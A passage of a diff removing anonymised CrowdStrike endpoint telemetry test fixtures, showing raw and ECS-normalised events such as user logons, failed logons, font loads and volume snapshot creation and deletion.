-                "original": "{\"event_simpleName\":\"UserFontLoad\",\"ContextTimeStamp\":\"1753137217.791\",\"ConfigStateHash\":\"6080600092\",\"ContextProcessId\":\"8108160208087\",\"ContextThreadId\":\"680008007040906\",\"aip\":\"89.160.20.112\",\"BoundingLimitCount\":\"3\",\"FontBufferLength\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"FontFileCount\":\"1\",\"BoundingLimitDuration\":\"9486640\",\"Entitlements\":\"66\",\"name\":\"be33367389afc8\",\"FontLoadOperation\":\"0\",\"EventOrigin\":\"1\",\"FontBuffer\":\"0\",\"id\":\"3b3a10fec73cc70efcba7d10700c60647a00\",\"FontFileName\":\"\\\\e2\\\\82\\\\6b0cc\\\\15dad1a2\\\\0f51ad6\\\\8c31e\\\\c7bac469\\\\a39f4a16\\\\4\\\\6ad6049f\\\\51833\\\\fce70f15.ttf\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"30fcb474d1c19854928cfea68625715f\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "30fcb474d1c19854928cfea68625715f",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "UserFontLoad",
-            "observer": {
-                "address": [
-                    "89.160.20.112"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.112"
-                ],
-                "serial_number": "30fcb474d1c19854928cfea68625715f",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "8108160208087",
-                "thread": {
-                    "id": 680008007040906
-                }
-            },
-            "related": {
-                "hash": [
-                    "6080600092"
-                ],
-                "ip": [
-                    "89.160.20.112"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticationId": "5270089006",
-                "AuthenticationPackage": "43c19a09",
-                "ConfigStateHash": "3440491101",
-                "ContextProcessId": "6990300009751",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "66",
-                "EventOrigin": "1",
-                "LogonId": "6270089006",
-                "LogonTime": "2025-04-29T21:57:39.717Z",
-                "LogonType": "3",
-                "RemoteAccount": "0",
-                "ResendToCloud": "0",
-                "SessionId": "0",
-                "UserFlags": "0",
-                "UserLogonFlags": "0",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "ffafe1a8278f88b8c976d452dc465830bd1c",
-                "name": "6843b5d61bb2e5"
-            },
-            "device": {
-                "id": "443de0bbc349316f0d394439c57beaba"
-            },
-            "event": {
-                "action": "UserIdentity",
-                "category": [
-                    "authentication",
-                    "iam"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "ffafe1a8278f88b8c976d452dc465830bd1c|443de0bbc349316f0d394439c57beaba|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"UserIsAdmin\":\"0\",\"LogonTime\":\"1745963859.717\",\"UserCanonical\":\"\",\"ContextThreadId\":\"95004910750900\",\"aip\":\"81.2.69.192\",\"LogonDomain\":\"6e\",\"RemoteAccount\":\"0\",\"UserSid\":\"S-63628-61824-76998-75961-49681-10653-90491\",\"event_platform\":\"Win\",\"UserFlags\":\"0\",\"EventOrigin\":\"1\",\"LogonServer\":\"\",\"id\":\"ffafe1a8278f88b8c976d452dc465830bd1c\",\"EffectiveTransmissionClass\":\"2\",\"LogonId\":\"6270089006\",\"SessionId\":\"0\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"UserIdentity\",\"UserName\":\"395963bcc1c482b8ac\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"6990300009751\",\"ResendToCloud\":\"0\",\"LogonType\":\"3\",\"AuthenticationPackage\":\"43c19a09\",\"UserPrincipal\":\"\",\"AuthenticationId\":\"5270089006\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"PasswordLastSet\":\"\",\"Entitlements\":\"66\",\"name\":\"6843b5d61bb2e5\",\"UserLogonFlags\":\"0\",\"aid\":\"443de0bbc349316f0d394439c57beaba\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "info",
-                    "user"
-                ]
-            },
-            "host": {
-                "domain": "6e",
-                "id": "443de0bbc349316f0d394439c57beaba",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "UserIdentity",
-            "observer": {
-                "address": [
-                    "81.2.69.192"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.192"
-                ],
-                "serial_number": "443de0bbc349316f0d394439c57beaba",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "6990300009751",
-                "thread": {
-                    "id": 95004910750900
-                }
-            },
-            "related": {
-                "hash": [
-                    "3440491101"
-                ],
-                "ip": [
-                    "81.2.69.192"
-                ],
-                "user": [
-                    "395963bcc1c482b8ac",
-                    "S-63628-61824-76998-75961-49681-10653-90491"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "S-63628-61824-76998-75961-49681-10653-90491",
-                "name": "395963bcc1c482b8ac"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticationId": "9134169010",
-                "AuthenticationPackage": "80af",
-                "ConfigStateHash": "3440491101",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "66",
-                "EventOrigin": "1",
-                "LogoffTime": "2025-04-29T07:52:34.660Z",
-                "LogonServer": "742a2b40",
-                "LogonTime": "2025-04-30T05:05:29.811Z",
-                "LogonType": "4",
-                "PasswordLastSet": "1677255764.322",
-                "RemoteAccount": "0",
-                "UserFlags": "230",
-                "UserLogoffType": "3",
-                "UserLogonFlags": "6",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "d42b0220749ccf3c12046d08207cd42e3e36",
-                "name": "035509012de2"
-            },
-            "device": {
-                "id": "e4b4d652bb68d0b6eaf25c3a357bd566"
-            },
-            "event": {
-                "action": "UserLogoff",
-                "category": [
-                    "authentication"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "d42b0220749ccf3c12046d08207cd42e3e36|e4b4d652bb68d0b6eaf25c3a357bd566|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"UserIsAdmin\":\"1\",\"LogoffTime\":\"1745913154.660\",\"LogonTime\":\"1745989529.811\",\"aip\":\"216.160.83.56\",\"LogonDomain\":\"742a2b40\",\"RemoteAccount\":\"0\",\"UserSid\":\"S-5282-72526-65462-33571-94897-74826-26210\",\"event_platform\":\"Win\",\"UserFlags\":\"230\",\"EventOrigin\":\"1\",\"LogonServer\":\"742a2b40\",\"id\":\"d42b0220749ccf3c12046d08207cd42e3e36\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"UserLogoff\",\"UserName\":\"e00908ad\",\"ConfigStateHash\":\"3440491101\",\"LogonType\":\"4\",\"AuthenticationPackage\":\"80af\",\"AuthenticationId\":\"9134169010\",\"UserPrincipal\":\"\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"PasswordLastSet\":\"1677255764.322\",\"UserLogoffType\":\"3\",\"Entitlements\":\"66\",\"name\":\"035509012de2\",\"UserLogonFlags\":\"6\",\"aid\":\"e4b4d652bb68d0b6eaf25c3a357bd566\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "end"
-                ]
-            },
-            "host": {
-                "domain": "742a2b40",
-                "id": "e4b4d652bb68d0b6eaf25c3a357bd566",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "UserLogoff",
-            "observer": {
-                "address": [
-                    "216.160.83.56"
-                ],
-                "geo": {
-                    "city_name": "Milton",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 47.2513,
-                        "lon": -122.3149
-                    },
-                    "region_iso_code": "US-WA",
-                    "region_name": "Washington"
-                },
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "serial_number": "e4b4d652bb68d0b6eaf25c3a357bd566",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "related": {
-                "hash": [
-                    "3440491101"
-                ],
-                "hosts": [
-                    "742a2b40"
-                ],
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "user": [
-                    "e00908ad",
-                    "S-5282-72526-65462-33571-94897-74826-26210"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "S-5282-72526-65462-33571-94897-74826-26210",
-                "name": "e00908ad",
-                "roles": [
-                    "admin"
-                ]
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ClientComputerName": "98ecc4",
-                "ConfigStateHash": "7800020060",
-                "ContextProcessId": "2014546000418",
-                "ContextTimeStamp": "2025-08-24T20:05:40.160Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "46",
-                "EtwRawProcessId": 273,
-                "EtwRawThreadId": 9360,
-                "EventOrigin": "1",
-                "LogonType": "3",
-                "Status": "7810500605",
-                "SubStatus": "2782800370",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "abcd637574e3e621a022d447ce47204dcb70",
-                "name": "ed7b4a3a01737761db"
-            },
-            "destination": {
-                "address": "216.160.83.56",
-                "as": {
-                    "number": 209
-                },
-                "geo": {
-                    "city_name": "Milton",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 47.2513,
-                        "lon": -122.3149
-                    },
-                    "region_iso_code": "US-WA",
-                    "region_name": "Washington"
-                },
-                "ip": "216.160.83.56"
-            },
-            "device": {
-                "id": "82e84213f5e5ad2820ee7b0f905b8f43"
-            },
-            "event": {
-                "action": "UserLogonFailed2",
-                "category": [
-                    "authentication"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "abcd637574e3e621a022d447ce47204dcb70|82e84213f5e5ad2820ee7b0f905b8f43|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"ContextThreadId\":\"610009300097503\",\"aip\":\"81.2.69.142\",\"LogonDomain\":\"6e\",\"event_platform\":\"Win\",\"ClientComputerName\":\"98ecc4\",\"EventOrigin\":\"1\",\"id\":\"abcd637574e3e621a022d447ce47204dcb70\",\"SubStatus\":\"2782800370\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"Status\":\"7810500605\",\"event_simpleName\":\"UserLogonFailed2\",\"RawProcessId\":\"173\",\"ContextTimeStamp\":\"1756065940.160\",\"UserName\":\"6cc6d9fae629fd277\",\"ConfigStateHash\":\"7800020060\",\"EtwRawProcessId\":\"273\",\"ContextProcessId\":\"2014546000418\",\"LogonType\":\"3\",\"EtwRawThreadId\":\"9360\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TargetProcessId\":\"3014546000418\",\"Entitlements\":\"46\",\"name\":\"ed7b4a3a01737761db\",\"aid\":\"82e84213f5e5ad2820ee7b0f905b8f43\",\"RemoteAddressIP4\":\"216.160.83.56\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "failure",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "domain": "6e",
-                "id": "82e84213f5e5ad2820ee7b0f905b8f43",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "UserLogonFailed2",
-            "observer": {
-                "address": [
-                    "81.2.69.142"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "serial_number": "82e84213f5e5ad2820ee7b0f905b8f43",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "3014546000418",
-                "pid": 173,
-                "thread": {
-                    "id": 610009300097503
-                }
-            },
-            "related": {
-                "hash": [
-                    "7800020060"
-                ],
-                "hosts": [
-                    "98ecc4"
-                ],
-                "ip": [
-                    "81.2.69.142",
-                    "216.160.83.56"
-                ],
-                "user": [
-                    "6cc6d9fae629fd277"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "6cc6d9fae629fd277"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "7800020060",
-                "ContextProcessId": "2014546000418",
-                "ContextTimeStamp": "2025-05-10T01:07:19.892Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "16",
-                "EventOrigin": "1",
-                "TreeId": "929834768029",
-                "UserLogonFlags": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "498499842694e5b09e8a1c4abfe2eb414696",
-                "name": "9d199e1f177dd175a"
-            },
-            "device": {
-                "id": "82e84213f5e5ad2820ee7b0f905b8f43"
-            },
-            "event": {
-                "action": "UserLogonFailed",
-                "category": [
-                    "authentication"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "498499842694e5b09e8a1c4abfe2eb414696|82e84213f5e5ad2820ee7b0f905b8f43|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"UserLogonFailed\",\"ContextTimeStamp\":\"1746839239.892\",\"UserName\":\"6cc6d9fae629fd277\",\"ConfigStateHash\":\"7800020060\",\"ContextProcessId\":\"2014546000418\",\"LogonTime\":\"\",\"ContextThreadId\":\"610009300097503\",\"aip\":\"81.2.69.192\",\"UserSid\":\"S-25871-2981-333\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"PasswordLastSet\":\"\",\"TreeId\":\"929834768029\",\"Entitlements\":\"16\",\"name\":\"9d199e1f177dd175a\",\"EventOrigin\":\"1\",\"UserLogonFlags\":\"1\",\"id\":\"498499842694e5b09e8a1c4abfe2eb414696\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"82e84213f5e5ad2820ee7b0f905b8f43\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "failure",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "82e84213f5e5ad2820ee7b0f905b8f43",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "UserLogonFailed",
-            "observer": {
-                "address": [
-                    "81.2.69.192"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.192"
-                ],
-                "serial_number": "82e84213f5e5ad2820ee7b0f905b8f43",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "2014546000418",
-                "thread": {
-                    "id": 610009300097503
-                }
-            },
-            "related": {
-                "hash": [
-                    "7800020060"
-                ],
-                "ip": [
-                    "81.2.69.192"
-                ],
-                "user": [
-                    "6cc6d9fae629fd277",
-                    "S-25871-2981-333"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "S-25871-2981-333",
-                "name": "6cc6d9fae629fd277"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticationId": "4084727020",
-                "AuthenticationPackage": "43c19a09",
-                "ClientComputerName": "d51a37d47316ea",
-                "ConfigStateHash": "3440491101",
-                "ContextProcessId": "1776052010570",
-                "ContextTimeStamp": "2025-10-05T15:21:41.966Z",
-                "EffectiveTransmissionClass": "2",
-                "EnabledPrivilegesBitmask": "2034200020",
-                "Entitlements": "56",
-                "EventOrigin": "1",
-                "LogonServer": "be2c2f",
-                "LogonTime": "2025-04-29T17:48:07.174Z",
-                "LogonType": "4",
-                "PasswordLastSet": "1559926561.421",
-                "PrivilegesBitmask": "900780039900",
-                "RemoteAccount": "1",
-                "UserFlags": "52",
-                "UserGroupsBitmask": "8043300404",
-                "UserLogonFlags": "0",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "064eb67301d3224008ad7aee62c85ce3b9f2",
-                "name": "184e1f7f8f1"
-            },
-            "device": {
-                "id": "43efa5759b9c618d8565a64ba39b729c"
-            },
-            "event": {
-                "action": "UserLogon",
-                "category": [
-                    "authentication"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "064eb67301d3224008ad7aee62c85ce3b9f2|43efa5759b9c618d8565a64ba39b729c|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"UserIsAdmin\":\"1\",\"LogonTime\":\"1745948887.174\",\"ContextThreadId\":\"500010382010308\",\"aip\":\"216.160.83.56\",\"LogonDomain\":\"6e\",\"RemoteAccount\":\"1\",\"UserSid\":\"S-46253-20659-68776-75234-87277-33222-58161\",\"event_platform\":\"Win\",\"UserFlags\":\"52\",\"ClientComputerName\":\"d51a37d47316ea\",\"EventOrigin\":\"1\",\"LogonServer\":\"be2c2f\",\"id\":\"064eb67301d3224008ad7aee62c85ce3b9f2\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"UserLogon\",\"ContextTimeStamp\":\"1759677701.966\",\"UserName\":\"a7b663ef867\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"1776052010570\",\"LogonType\":\"4\",\"PrivilegesBitmask\":\"900780039900\",\"AuthenticationPackage\":\"43c19a09\",\"AuthenticationId\":\"4084727020\",\"UserPrincipal\":\"testuser@test.com\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"PasswordLastSet\":\"1559926561.421\",\"Entitlements\":\"56\",\"name\":\"184e1f7f8f1\",\"UserLogonFlags\":\"0\",\"EnabledPrivilegesBitmask\":\"2034200020\",\"aid\":\"43efa5759b9c618d8565a64ba39b729c\",\"UserGroupsBitmask\":\"8043300404\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "domain": "6e",
-                "id": "43efa5759b9c618d8565a64ba39b729c",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "UserLogon",
-            "observer": {
-                "address": [
-                    "216.160.83.56"
-                ],
-                "geo": {
-                    "city_name": "Milton",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 47.2513,
-                        "lon": -122.3149
-                    },
-                    "region_iso_code": "US-WA",
-                    "region_name": "Washington"
-                },
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "serial_number": "43efa5759b9c618d8565a64ba39b729c",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "1776052010570",
-                "thread": {
-                    "id": 500010382010308
-                }
-            },
-            "related": {
-                "hash": [
-                    "3440491101"
-                ],
-                "hosts": [
-                    "be2c2f",
-                    "d51a37d47316ea"
-                ],
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "user": [
-                    "a7b663ef867",
-                    "testuser",
-                    "testuser@test.com",
-                    "S-46253-20659-68776-75234-87277-33222-58161"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "test.com",
-                "email": "testuser@test.com",
-                "full_name": "testuser",
-                "id": "S-46253-20659-68776-75234-87277-33222-58161",
-                "name": "a7b663ef867",
-                "roles": [
-                    "admin"
-                ]
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticationId": "830",
-                "ConfigStateHash": "892001000",
-                "ContextProcessId": "3093093002701",
-                "ContextTimeStamp": "2025-06-13T18:18:15.450Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "16",
-                "EventOrigin": "1",
-                "InterfaceGuid": "fa20370b2cc4c0e88d161f705a2bba7fbe37",
-                "InterfaceVersion": "0",
-                "RpcClientProcessId": "4000150007426",
-                "RpcClientThreadId": "680008401000314",
-                "RpcNestingLevel": "0",
-                "RpcOpNum": "8",
-                "TokenType": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "f6b9775ac6046bae94a4121496a6896a86f6",
-                "name": "20c2ece111ed142fd2567b9"
-            },
-            "device": {
-                "id": "3dc8ee79410457af4c28499efe37b5bc"
-            },
-            "event": {
-                "action": "VolumeSnapshotCreated",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "f6b9775ac6046bae94a4121496a6896a86f6|3dc8ee79410457af4c28499efe37b5bc|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"ContextThreadId\":\"100445831083903\",\"aip\":\"89.160.20.112\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"InterfaceGuid\":\"fa20370b2cc4c0e88d161f705a2bba7fbe37\",\"RpcClientProcessId\":\"4000150007426\",\"id\":\"f6b9775ac6046bae94a4121496a6896a86f6\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"VolumeSnapshotCreated\",\"ContextTimeStamp\":\"1749838695.450\",\"UserName\":\"481403faf1d\",\"ConfigStateHash\":\"892001000\",\"ContextProcessId\":\"3093093002701\",\"InterfaceVersion\":\"0\",\"RpcClientThreadId\":\"680008401000314\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"RpcOpNum\":\"8\",\"Entitlements\":\"16\",\"name\":\"20c2ece111ed142fd2567b9\",\"aid\":\"3dc8ee79410457af4c28499efe37b5bc\",\"RpcNestingLevel\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\da2d906a\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "directory": "\\6ba0bd",
-                "name": "da2d906a",
-                "path": "\\6ba0bd\\da2d906a",
-                "type": "file"
-            },
-            "host": {
-                "id": "3dc8ee79410457af4c28499efe37b5bc",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "VolumeSnapshotCreated",
-            "observer": {
-                "address": [
-                    "89.160.20.112"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.112"
-                ],
-                "serial_number": "3dc8ee79410457af4c28499efe37b5bc",
-                "version": "2c8b.4.bab7095.e6"
-            },
-            "process": {
-                "entity_id": "3093093002701",
-                "thread": {
-                    "id": 100445831083903
-                }
-            },
-            "related": {
-                "hash": [
-                    "892001000"
-                ],
-                "ip": [
-                    "89.160.20.112"
-                ],
-                "user": [
-                    "481403faf1d"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "481403faf1d"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticationId": "830",
-                "ConfigStateHash": "7800020060",
-                "ContextProcessId": "8000830008430",
-                "ContextTimeStamp": "2025-10-09T17:02:20.183Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "26",
-                "EventOrigin": "1",
-                "InterfaceGuid": "48e8e6085fac8e183337f9647e2623b38023",
-                "InterfaceVersion": "0",
-                "RpcClientProcessId": "5000504040107",
-                "RpcClientThreadId": "914521090820021",
-                "RpcNestingLevel": "1",
-                "RpcOpNum": "40",
-                "SHA256HashData": "60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68",
-                "TokenType": "1",
-                "VolumeDriveLetter": "82",
-                "VolumeName": "\\6ba0bd\\257d4e13",
-                "VolumeSnapshotName": "\\6ba0bd\\8536f344",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "00d920a4c248b10173113fc4155a74b4b655",
-                "name": "1523f0687a552764e446cf1"
-            },
-            "device": {
-                "id": "10ee42b0c65b014b6197f3d92782c4ad"
-            },
-            "event": {
-                "action": "VolumeSnapshotDeleted",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "00d920a4c248b10173113fc4155a74b4b655|10ee42b0c65b014b6197f3d92782c4ad|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"ContextThreadId\":\"449040000360080\",\"aip\":\"81.2.69.142\",\"VolumeDriveLetter\":\"82\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"VolumeSnapshotName\":\"\\\\6ba0bd\\\\8536f344\",\"EventOrigin\":\"1\",\"InterfaceGuid\":\"48e8e6085fac8e183337f9647e2623b38023\",\"RpcClientProcessId\":\"5000504040107\",\"id\":\"00d920a4c248b10173113fc4155a74b4b655\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"VolumeSnapshotDeleted\",\"VolumeName\":\"\\\\6ba0bd\\\\257d4e13\",\"ContextTimeStamp\":\"1760029340.183\",\"UserName\":\"580d88d\",\"ConfigStateHash\":\"7800020060\",\"ContextProcessId\":\"8000830008430\",\"InterfaceVersion\":\"0\",\"RpcClientThreadId\":\"914521090820021\",\"SHA256HashData\":\"60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"CommandLine\":\"54d\\\\d598026\\\\4a6a0a4b\\\\a096c58f.exe\\\"\",\"ImageFileName\":\"\\\\6ba0bd\\\\257d4e13\\\\d598026\\\\dc9ec376\\\\a096c58f.exe\",\"RpcOpNum\":\"40\",\"Entitlements\":\"26\",\"name\":\"1523f0687a552764e446cf1\",\"aid\":\"10ee42b0c65b014b6197f3d92782c4ad\",\"RpcNestingLevel\":\"1\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "deletion"
-                ]
-            },
-            "host": {
-                "id": "10ee42b0c65b014b6197f3d92782c4ad",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "VolumeSnapshotDeleted",
-            "observer": {
-                "address": [
-                    "81.2.69.142"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "serial_number": "10ee42b0c65b014b6197f3d92782c4ad",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "args": [
-                    "54d\\d598026\\4a6a0a4b\\a096c58f.exe"
-                ],
-                "args_count": 1,
-                "command_line": "54d\\d598026\\4a6a0a4b\\a096c58f.exe\"",
-                "entity_id": "8000830008430",
-                "executable": "\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\a096c58f.exe",
-                "name": "a096c58f.exe",
-                "thread": {
-                    "id": 449040000360080
-                }
-            },
-            "related": {
-                "hash": [
-                    "60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68",
-                    "7800020060"
-                ],
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "user": [
-                    "580d88d"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "580d88d"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticationId": "400605500",
-                "BoundingLimitCount": 1,
-                "BoundingLimitDuration": "1486640",
-                "ConfigStateHash": "450007109",
-                "ContextTimeStamp": "2025-10-19T21:43:27.570Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "86",
-                "EventOrigin": "1",
-                "RpcClientProcessId": "901070429000",
-                "RpcClientThreadId": "5500404207604",
-                "TokenType": "2",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "4fd1a6718f8c7a25e6af1b5af89b5565a443",
-                "name": "4d986d3e22110751d0"
-            },
-            "device": {
-                "id": "8bba3f79ae72c48db0721bce1cc23f47"
-            },
-            "event": {
-                "action": "WmiCreateProcess",
-                "category": [
-                    "process"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "4fd1a6718f8c7a25e6af1b5af89b5565a443|8bba3f79ae72c48db0721bce1cc23f47|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
